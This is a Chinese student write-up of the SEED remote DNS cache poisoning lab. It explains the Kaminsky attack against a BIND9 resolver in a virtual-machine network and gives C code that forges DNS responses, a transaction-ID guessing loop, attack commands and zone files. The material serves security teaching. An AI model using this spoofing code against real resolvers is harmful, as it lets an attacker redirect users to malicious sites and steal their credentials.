①实验概观
本次实验的目标是让学生获得远程DNS缓存中毒攻击的第一手经验。DNS(Domain Name System)是互联网的电话簿,其将主机名转换为IP地址,反之亦然。这个转换通过DNS解析完成,且对用户是透明的。DNS Pharming攻击以各种方式操纵此解析过程,意图将用户误导到代替的目的地,而这往往是恶意的。本次实验我们聚焦一种特殊的DNS Pharming攻击,叫作DNS缓存中毒攻击。
②实验环境
(1)操作系统
实验使用seed-ubuntu-12.04系统,可在seed官网下载(包括实验程序)。
官网Link: http://www.cis.syr.edu/~wedu/seed/Labs_12.04/Networking/DNS_Remote/
(2)网络设置
搭建实验环境实际需要三台机器,一台用作攻击,一台作为DNS服务器,最后一台作为受害者的主机。我们搭建实验环境使用一台物理机,同时在上面运行3台虚拟机即可。这些机器运行着seed-ubuntu-12.04系统,且配置如下:
为了简单起见,我们把虚拟机放在同一局域网内,但是在实验过程中,我们应该将攻击者视为一台远程机器,即攻击者无法嗅探到受害者DNS服务器Apollo的数据包。
(3)实验工具
网络数据包捕获工具:Wireshark
BIND9 NDS server(安装指令:apt-get install bind9)
这些实验工具或软件在预构建的虚拟机镜像(seed-ubuntu-12.04)中已经安装。
③实验内容
Pharming攻击的主要目的是,在用户尝试使用A的主机名访问机器A时将用户重定向到另一台机器B。例如,假设www.example.com是一个网上银行网站,当用户通过正确的URL(www.example.com)尝试访问这个网站的时候,如果攻击者能够将用户重定向到一个和www.example.com看起来非像的恶意网站,则用户信息可能泄露给攻击者。
实验过程中我们把域名www.example.com作为攻击对象,实验目标是对域名服务器发起DNS缓存中毒攻击,这样当用户运行dig www.example.com命令去查寻对应的IP地址时,本地域名服务器最终会访问攻击者的域名服务器 ns.dnslabattaker.net 去获取IP地址,所以返回的IP地址可以是由攻击者决定的任意地址,最终,用户将会被引导至攻击者的站点,而不是真实的www.example.com。
这次攻击有两个任务:缓存中毒和结果验证。在第一个任务里面,学生毒化用户本地域名服务器Apollo的DNS缓存,这样,在Apollo的DNS缓存中, ns.dnslabattaker.net 被设置为example.com的名称服务器,而取代了该域注册的权威名称服务器。在第二个任务中,学生需要验证攻击的影响,更明确地说,我们需要在用户的机器上运行“digwww.example.com”命令,并且返回的地址必须是攻击者设置的虚假IP。
(1)完整的DNS查询过程
(2)example.com名称服务器被缓存情况下的DNS查询过程
Figure 2同时描绘了攻击过程。
(1)配置本地域名服务器Apollo
Step1:安装BIND9 DNS Server
# apt-get install bind9
以下两条指令能帮助我们更好地进行实验
刷新DNS缓存
# rndc flush
将缓存信息dump到/var/cache/bind/dump.db
# rndc dumpdb -cache
Step2:创建named.conf.options文件
DNS服务器需要在启动时读取/etc/bind/named.conf配置文件,该配置文件通常需要导入一个选项文件,这里命名为named.conf.options,且将其放在/etc/bind/目录下,最后将下面的内容添加至该选项文件。
options {
directory "/var/cache/bind";
};
因为如果不指定固定端口,则端口号是随机的,为了降低实验难度,将DNS查询报文的源端口设置为33333,在/etc/bind/named.conf.options文件中添加如下指令
query-sourceport 33333;
Step4:禁止DNSSEC
DNSSEC是一种被设计出来防御DNS缓存中毒攻击的技术,实验过程中,我们需要禁止该技术。我们需要改变/etc/bind/named.conf.options文件:找到"dnssec-validation auto"这一行,并注释掉,然后添加新的一行,如下
Step5:启动NDS Server
我们可以使用一下命令来启动DNS server
/etc/init.d/bind9restart
or
servicebind9 restart
在用户机器(192.168.175.162)上,我们需要使用192.168.175.164作为其默认的DNS server。
可以通过编辑用户机器的DNS设置文件(/etc/resolv.conf)来实现。
nameserver 192.168.175.164 # the ip of the DNS server you just setup
但是为了确保/etc/resolv.conf文件下名称服务器的唯一性,我们可以直接进行以下操作,这样就能避免文件被DHCP客户端重写。
禁用DHCP操作步骤:
Step1:Click "SystemSetting" -> "Network"
Step2:"Options"in "Wired" Tab
Step3:Select "IPv4Settings" -> "Method" ->"Automatic(DHCP) AddressesOnly" and update only "DNS Servers" entry with IP address ofBIND DNS Server
Step4 :Now Click the"Network Icon" on the top right corner and Select the new connectionyou just set up. This will refresh the wired network connection and updates thechanges.
我们可以使用dig命令查看用户机器的名称服务器
(3)配置攻击者
Step1:配置攻击者的默认DNS服务器为Apollo DNS服务器,同时也作为攻击目标
参照上面用户机器的配置禁用DHCP即可。
Step2:了解攻击原理
基本攻击原理
当攻击者向受害的域名服务器(Apollo)发送一个DNS查询请求后,则会触发Apollo的迭代查询,像Figure 1描述的那样,查询会通过根域名服器,.COM域名服务器,并且最后的结果将会来自example.com域名服务器。但是更常见的情况是,example.com域名服务器信息已经被Apollo缓存,所以查询只会到达example.com域名服务器(如Figure 2所示)。所以如果我们要攻击成功,则需要在Apollo等待来自example.com域名服务器应答的过程中,发送大量的伪造应答包到Apollo,冒充来自example.com域名服务器的应答。这样,如果伪造的包先到达,它将会被Apollo接收,并缓存相应的信息,达到攻击的目的。
由于前面我们已经为Apollo发出DNS请求报文设置了固定源端口,同时禁止了DNSSEC,所以实验真正要做的是猜测Apollo发出DNS查询请求报文的transaction ID,只有应答报文与查询报文有相同的transaction ID才能被接收。
缺陷
但是上面的攻击方式忽视了缓存的影响。事实上,如果攻击者不是足够幸运(赶在在真正的应答包到达之前,猜出正确的transaction ID),则正确的信息将被Apollo缓存一段时间,同时在该缓存超时之前,Apollo都不会再为攻击者伪造的相同的域名查询请求发送额外的请求,要使在相同域名下伪造应答有效,攻击者必须要等待Apollo发起一个关于该域名的新的DNS查询,而这只能发生在缓存超时的情况下。
改进的方案
所以我们需要调整攻击的方式。Kaminsky攻击能很好地解决上面的缓存问题。其思路是:攻击者每次向Apollo发起的DNS查询请求都更换主机名,这样新的的主机名没有在Apollo的缓存记录里面,则Apollo需要发起查询请求,而无需等待前面的缓存超时。
考虑两种情况:
A:当前攻击未成功,则Apollo的DNS缓存记录包含了example.com域名服务器信息的正确记录,则后面的查询Apollo都会直接访问example.com域名服务器。
B:攻击者足够幸运,伪造的应答包在正确的应答包之前到达,则伪造的信息(example.com的域名服务器被指定为ns.dnslabattaker.net)被Apollo缓存下来。同时假如后面的攻击继续进行,Apollo因为请求的主机名发生了变化,同样会发出DNS请求,但是,因为Apollo利用错误的缓存而无法收到正确的应答,则错误的缓存不会被替换掉。
构造攻击程序
实验提供了发送DNS查询报文的c语言实现,参照Kaminsky攻击原理,我们需要添加发送DNS应答报文的代码,同时设计程序的逻辑架构:
每次发出一个基于特定域名的查询报文后,都需要发出一定数量的伪造应答报文,来猜测Apollo发出请求报文的transaction ID,且这个数量不宜太多(虽然transaction ID有2^16种可能),因为Apollo有了正确的缓存以后,就只对example.com缓存记录指定的域名服务器发出查询请求,所以时间上比较短。当伪造的应答报文发送完以后,接着重复上面过程,直到发现攻击成功为止。
实现细节描述
如何改变主机名
采用取随机数的办法,改变主机名在取得随机数对应位置的ASCII码。
了解规范的DNS应答报文需要哪些字段
各个字段的含义
c语言实现,构造应答报文
采用指针技术,可以简化程序设计
指针技术:如果当前填充的某个字段,其内容(字符串)在前面出现过,为了避免冗余和简便,我们可以采用指针技术,使用两个字节分别进行标记和定位。低字节设置为:0xc0,头两位设置为1,标志该字段是指向某个字符串的指针;高字节设置为指针起始点和transaction ID之间的偏移量。
额外定义结构体
//This structure for the Answers section
//This structure for the Additional records
struct answers{
unsigned short intname;
unsigned short int type;
unsigned short int class;
//unsigned int ttl;//必须以双字节为单位赋值
unsigned short intttl_l;
unsigned short intttl_h;
unsigned short int dataLen;
//unsigned int addr;//必须以双字节为单位赋值
unsigned short intaddr_l;
unsigned short intaddr_h;
};
//This structure for the Authoritative nameservers
struct authors{
unsigned short intname;
unsigned short int type;
unsigned short int class;
//unsigned int ttl;//必须以双字节为单位赋值
unsigned short intttl_l;
unsigned short intttl_h;
unsigned short int dataLen;
};
////////////////////////////////////////////////////////////////////////
// dns fields(UDP payload field)
// relate to the lab, you can change them. begin:
////////////////////////////////////////////////////////////////////////
//The flag you need to set
dns->flags=htons(FLAG_R);
//only 1 query, so the count should be one.
dns->QDCOUNT=htons(1);
dns->ANCOUNT=htons(1);
dns->NSCOUNT=htons(1);
dns->ARCOUNT=htons(1);
//query string
strcpy(data,query_string);
int length= strlen(data)+1;
//this is for convinience to get the struct type write the 4bytes in amore organized way.
struct dataEnd * end=(structdataEnd *)(data+length);
end->type=htons(1);
end->class=htons(1);
//the Answers
struct answers *answer =(struct answers *)(data+length+sizeof(struct dataEnd));
answer->name = 0x0cc0;
answer->type = htons(1);
answer->class = htons(1);
answer->ttl_l = htons(0);
answer->ttl_h =htons(0x12c);
answer->dataLen = htons(4);
answer->addr_l = 0x0101;
answer->addr_h = 0x0101;
//the Authoritative nameservers
struct authors *author =(struct authors *)(data+length+sizeof(struct dataEnd)+sizeof(struct answers));
author->name = 0x12c0;
author->type = htons(2);
author->class = htons(1);
author->ttl_l = htons(0);
author->ttl_h =htons(0x12c);
author->dataLen = htons(23);
char *author_name_server = (char*)(data+length+sizeof(struct dataEnd)+sizeof(struct answers)+sizeof(structauthors));
strcpy(author_name_server,"\2ns\16dnslabattacker\3net");
int nameserver_length =strlen(author_name_server)+1;
//the Additional records
struct answers *addi = (structanswers *)(author_name_server+nameserver_length);
addi->name = 0x3fc0;
addi->type = htons(1);
addi->class = htons(1);
addi->ttl_l = htons(0);
addi->ttl_h = htons(0x12c);
addi->dataLen = htons(4);
addi->addr_l = 0x0101;
addi->addr_h = 0x0101;
/////////////////////////////////////////////////////////////////////
//
// DNS format, relate to the lab, you need to change them, end
//
//////////////////////////////////////////////////////////////////////
对应的修改校验和
unsigned short intpacketLength =(sizeof(struct ipheader) + sizeof(struct udpheader)+sizeof(structdnsheader)+length+sizeof(struct dataEnd)+sizeof(struct answers)+sizeof(structauthors)+nameserver_length+sizeof(struct answers));
// length + dataEnd_size + ... == UDP_payload_size
udp->udph_len =htons(sizeof(struct udpheader)+sizeof(struct dnsheader)+length+sizeof(structdataEnd)+sizeof(struct answers)+sizeof(structauthors)+nameserver_length+sizeof(struct answers));
// udp_header_size + udp_payload_size
其他需要修改或注意的地方
应答包的发送方应该设置为:example.com真实域名服务器,对应设置源IP地址,目的IP地址设置为Apollo IP地址。同时目的端口应该设置为33333,源端口设置为53。
发送应答包的代码逻辑
int trans_id = 3000,i=0;
for(;i<=100;i++){
dns->query_id = trans_id + i;
udp->udph_chksum=check_udp_sum(buffer, packetLength-sizeof(struct ipheader)); // recalculate the checksum for the UDP packet
// send the packet out.
if(sendto(sd, buffer, packetLength, 0, (struct sockaddr *)&sin, sizeof(sin)) < 0)
printf("packet send error %d which means %s\n",errno,strerror(errno));
}
不采用指针技术
额外定义结构体
//This structure for the Answers section
//This structure for the Additional records
struct answerOthers{
unsigned short int type;
unsigned short int class;
//unsigned int ttl;//必须以双字节为单位赋值
unsigned short int ttl_l;
unsigned short intttl_h;
unsigned short int dataLen;
//unsigned int addr;//必须以双字节为单位赋值
unsigned short intaddr_l;
unsigned short intaddr_h;
};
//This structure for the Authoritative nameservers
struct authorOthers{
unsigned short int type;
unsigned short int class;
//unsigned int ttl;//必须以双字节为单位赋值
unsigned short intttl_l;
unsigned short intttl_h;
unsigned short int dataLen;
};
应答包的填充
////////////////////////////////////////////////////////////////////////
// dns fields(UDP payload field)
// relate to the lab, you can change them. begin:
////////////////////////////////////////////////////////////////////////
//The flag you need to set
dns->flags=htons(FLAG_R);
//only 1 query, so the count should be one.
dns->QDCOUNT=htons(1);
dns->ANCOUNT=htons(1);
dns->NSCOUNT=htons(1);
dns->ARCOUNT=htons(1);
//query string
strcpy(data,query_string);
int length= strlen(data)+1;
//this is for convinience to get the struct type write the 4bytes in amore organized way.
struct dataEnd *end=(structdataEnd *)(data+length);
end->type=htons(1);
end->class=htons(1);
//the Answers
char *ans = (buffer+sizeof(struct ipheader)+sizeof(struct udpheader)+sizeof(struct dnsheader)+length+sizeof(structdataEnd));
//Answer's Name field
strcpy(ans,query_string);
int ans_length = strlen(ans)+1;
//Answer's other fields
struct answerOthers *ans_others= (struct answerOthers *)(ans+ans_length);
ans_others->type = htons(1);
ans_others->class = htons(1);
ans_others->ttl_l = htons(0);
ans_others->ttl_h =htons(0x12c);
ans_others->dataLen =htons(4);
ans_others->addr_l = 0x0101;
ans_others->addr_h =0x0101;
//the Authoritative nameservers
char *author = (char*)(ans+ans_length+sizeof(struct answerOthers));
//Authoritative nameservers'Name field
strcpy(author,"\7example\3com");
int author_length =strlen(author)+1;
struct authorOthers*author_others = (struct authorOthers *)(author+author_length);
author_others->type =htons(2);
author_others->class =htons(1);
author_others->ttl_l =htons(0);
author_others->ttl_h =htons(0x4b0);
author_others->dataLen =htons(23);
char *author_name_server = (char*)(author+author_length+sizeof(struct authorOthers));
strcpy(author_name_server,"\2ns\16dnslabattacker\3net");
int nameserver_length =strlen(author_name_server)+1;
//the Additional records
char *addi = (char*)(author_name_server+nameserver_length);
strcpy(addi,"\2ns\16dnslabattacker\3net");
int addi_length =strlen(addi)+1;
struct answerOthers *addi_others= (struct answerOthers *)(addi+addi_length);
addi_others->type = htons(1);
addi_others->class =htons(1);
addi_others->ttl_l =htons(0);
addi_others->ttl_h =htons(0x258);
addi_others->dataLen =htons(4);
addi_others->addr_l = 0x0101;
addi_others->addr_h =0x0101;
/////////////////////////////////////////////////////////////////////
//
// DNS format, relate to the lab, you need to change them, end
//
//////////////////////////////////////////////////////////////////////
对应的修改校验和
unsigned short intpacketLength =(sizeof(struct ipheader) + sizeof(struct udpheader)+sizeof(structdnsheader)+length+sizeof(struct dataEnd)+ans_length+sizeof(structanswerOthers)+author_length+sizeof(structauthorOthers)+nameserver_length+addi_length+sizeof(struct answerOthers));
// length + dataEnd_size == UDP_payload_size
udp->udph_len =htons(sizeof(struct udpheader)+sizeof(struct dnsheader)+length+sizeof(structdataEnd)+ans_length+sizeof(struct answerOthers)+author_length+sizeof(structauthorOthers)+nameserver_length+addi_length+sizeof(struct answerOthers));
// udp_header_size + udp_payload_size
其他部分
同采用指针技术的方法。
开始攻击
使用gcc编译程序
编译指令
# gcc –lpcap –o udp udp.c
发动攻击的命令,第一个IP地址时攻击者的IP,第二个是Apollo的IP
# ./udp 192.168.175.163 192.168.175.164
Apollo运行wireshark,设置过滤器(dns),抓取数据包,发现每个查询请求报文后跟着大量应答
执行rndc dumpdb -cache命令,查看dump.db文件内的缓存信息,如果攻击成功,则Apollo缓存信息中example.com对应的NS记录被设置成ns.dnslabattaker.net。
一般很快就可以攻击成功,如果觉得缓存信息太多,可以使用rndc flush命令清空缓存;如果长时间没有攻击成功,则可能是操作步骤遗漏或者程序设计中的bug所致,请大家仔细检查。
Task2: ResultVerification
如果攻击成功,Apollo的DNS缓存将会向上图一样。为了检验是否真的成功,我们可以在用户机上使用对www.example.com使用dig命令,查看返回的IP地址。
这是因为当Apollo收到DNS查询时,它会在其缓存中搜索example.com的NS记录,并找到ns.dnslabattacker.net。因此,它将向ns.dnslabattacker.net发送DNS查询。但是,在发送这个查询之前,它需要知道ns.dnslabattacker.net的IP地址,这是通过发出单独的DNS查询来完成的。这就是我们陷入困境的地方。
域名dnslabattacker.net在现实中并不存在。为了实验的目的,我们创建了这个名称。Apollo很快会发现这一点,并标记NS条目无效,基本上从中毒缓存恢复。
这时我们可能会想,当伪造DNS响应时,我们可不可以使用附加记录来提供ns.dnslabattacker.net的IP地址,从而使得伪造的域名服务器变为真实“存在”的呢?(我们够早的应答数据包实际上是这样做的)
不幸的是,答案是否定的,这个附加记录并不会被阿波罗所接受。因为我们伪造应答包是从a.iana-servers.net或者b.iana-servers.net这两个域名服务器返回的,它们不是负责管辖xxxxx.example.com这个域的权威域名服务器,所以即使我们设置了IP地址,Apollo也不会采纳。
有两个方案解决这个问题:
方案一:使用真实域名
如果我们拥有一个真正的域名,并且可以配置其DNS,那么只需在NS记录中使用您自己的域名,而不是dnslabattacker.net。 然后参照本地DNS攻击实验进行配置,以确保我们的DNS服务器可以应答example.com域的查询。
方案二:使用伪造的域名
如果我们没有真正的域名,仍然可以使用假域名ns.dnslabattacker.net进行演示。我们只需要在Apollo做一些额外的配置,因此它将dnslabattacker.net当做真是存在的域。我们物理上的添加ns.dnslabattacker.net的IP地址到Apollo DNS配置上,所以Apollo不需要从一个不存在的域请求这个主机名的IP地址。
步骤如下:
Step1:配置Apollo的DNS服务器
在/etc/bind/named.conf.default-zones文件中加入如下条目
zone "ns.dnslabattacker.net" {
type master;
file"/etc/bind/db.attacker";
};
Step2:创建/etc/bind/db.attacker文件,加入如下条目
$TTL 604800
@ IN SOA localhost.root.localhost. (
2 ;Serial
604800 ;Refresh
86400 ;Retry
2419200 ; Expire
604800 ) ;Negative Cache TTL
;
@ IN NS ns.dnslabattacker.net.
@ IN A 192.168.175.163
@ IN AAAA ::1
倒数第二行的IP是攻击者的IP
这样发送给Apollo的任何关于example.com主机名的DNS查询将被发送到192.168. .175.163
Step3:配置攻击者DNS服务器
攻击者需要安装bind9,这样其可以应答关于example.com的域名查询
同时在/etc/bind/named.conf.local文件中加入如下条目
zone "example.com" {
type master;
file"/etc/bind/example.com.db";
};
Step4:创建/etc/bind/example.com.db文件,加入如下条目
$TTL 3D
@ IN SOA ns.example.com.admin.example.com. (
2008111001
8H
2H
4W
1D)
@ IN NS ns.dnslabattacker.net.
@ IN MX 10 mail.example.com.
www IN A 1.1.1.1
mail IN A 1.1.1.2
*.example.com. IN A 1.1.1.100
当配置完成后,不要忘记重新启动Apollo和攻击者的DNS服务器;否则,修改将不会生效。如果一切顺利,在用户机上使用“dig www.example.com”命令,将看到1.1.1.1的答复。
Step5:验证用户请求结果
资源下载
采用指针技术
http://download.csdn.net/detail/xxx_qz/9840772
不采用指针技术
http://download.csdn.net/detail/xxx_qz/9840778